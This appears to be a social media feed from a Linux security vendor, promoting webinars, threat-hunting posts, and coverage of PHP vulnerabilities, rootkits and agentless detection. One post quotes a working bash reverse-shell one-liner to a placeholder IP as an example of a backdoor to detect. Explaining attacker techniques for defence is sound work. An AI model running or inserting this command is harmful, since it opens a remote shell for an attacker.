Sandfly Security

Critical PHP flaws took websites offline worldwide this week. Sandfly isn't affected. If you run PHP on Linux, here's how to check nobody got in before you patched ap1.hubs.ly/H01skyb0

Your alert queue can wait 30 minutes. 😉 We're about to go live on telling real Linux threats from noise, plus a first look at what we've been building 💥💥 Join us: ap1.hubs.ly/H01qgyj0

Walk through a live Linux bind shell backdoor, step by step,  including recovering the binary after the attacker deletes it from disk. Safe to reproduce yourself. Commands in the post. ap1.hubs.ly/H01kJJ20 #ThreatHunting #Linux

Tomorrow, 11am PT / 2pm ET / 6pm GMT 💥 🛡️ Join us for a YouTube Live. 4 questions to ask before you act on any Linux detection. Stay after for a first look at what's next from Sandfly ▶️ ap1.hubs.ly/H01qgvs0

Patching the new PHP flaws (CVE-2026-109618/109619) won't remove a backdoor planted before the patch. Sandfly isn't affected. Here are the 8 detections to check, including one that's off by default: ap1.hubs.ly/H01sky20

One week to go: How to know when a Linux detection is worth acting on.🕵️ Tue 27 Oct, 11am PT / 2pm ET / 6pm GMT. Four questions, a checklist you keep, and a first look at what we've been building. Join us live ▶️ ap1.hubs.ly/H01qfM90

The Scales rootkit landed via an AUR supply chain attack with 1,500+ packages affected. The blast radius isn't the interesting part. The technique is. ap1.hubs.ly/H01k8Xl0 #Linux #ThreatHunting

Fixed the same false positive three times this month? 😣 That's a failed check. It's question 4 on our list, and plenty of tools don't pass it. Get the full checklist on Tue 27 Oct. Join us live ▶️ ap1.hubs.ly/H01qfMF0

Locked Shields is the world's largest live-fire cyber defence exercise. Real red team, real time pressure. One of our clients ran Sandfly on the Linux defence team, hunting implants while under active attack. ap1.hubs.ly/H01k9gz0 #ThreatHunting #Linux

Question 1 of 4: Where did your detection's data actually come from? Most teams can't answer that, and it matters more than anything else on the list. Find out why on Tue 27 Oct. Register to join us live ▶️ ap1.hubs.ly/H01qfB30

A Linux process running with an immutable binary is almost never legitimate. Attackers set the immutable flag so you can't delete their payload mid-incident. It’s a huge red flag that a system is compromised. ap1.hubs.ly/H01kJD10 #Linux #eBPF

A global automotive manufacturer runs its assembly lines and AGVs on Linux. Downtime costs thousands a minute. Agent-based tools kept causing problems on exactly those systems. So they stopped using them. ap1.hubs.ly/H01qdR-0 #ThreatHunting #Linux

Most Linux alerts aren't worth your time. A few are worth everything 👀 The hard part is telling which is which. On Tue 27 Oct, Sandfly founder Craig Rowland shares 4 questions to ask before you act on any detection. Free. ap1.hubs.ly/H01qdRl0

Attackers are encrypting payloads to sneak malware past Linux defenses. Spoiler: it doesn't work.Sandfly Founder, @CraigHRowland breaks down the Linux malware trends we're seeing on @DestLinuxPod 👇

In this episode we discuss some emerging Linux malware trends we're seeing in the wild leveraging fileless encrypted payloads.

bash -i >& /dev/tcp/1.2.3.4/4444 0>&1 One line. Works nearly everywhere on Linux. A quick and easy living off the land backdoor that works across all Linux distros. Here's how to spot it — and how to watch attackers using it live with peekfd: ap1.hubs.ly/H01mt3h0

A pile of small scripts we use for Linux IR work. Free, open source, no email gate. If they save you an hour, that's the point. ap1.hubs.ly/H01mt430

Access problems on Linux hosts that passed an audit are extremely common. Keys that outlived the people who created them. Password authentication that is still active on hosts nobody claimed. Both invisible to the review that signed the system off. Keys to the Vault, free with the questions: ap1.hubs.ly/H01mPsG0

Linux EDR inherited its model from Windows: kernel agent on every endpoint. We've measured those agents at 5% to over 30% CPU, constantly. At fleet scale that's a line item. Agentless: zero when idle, 60–120s burst when it runs. ap1.hubs.ly/H01mt400

Linux runs the infrastructure. But who's watching it? 👀 Our founder @CraigHRowland is breaking down current Linux malware tactics and how to hunt them at the Oslo Cold Incident Response Conference. Grab your free ticket below 👇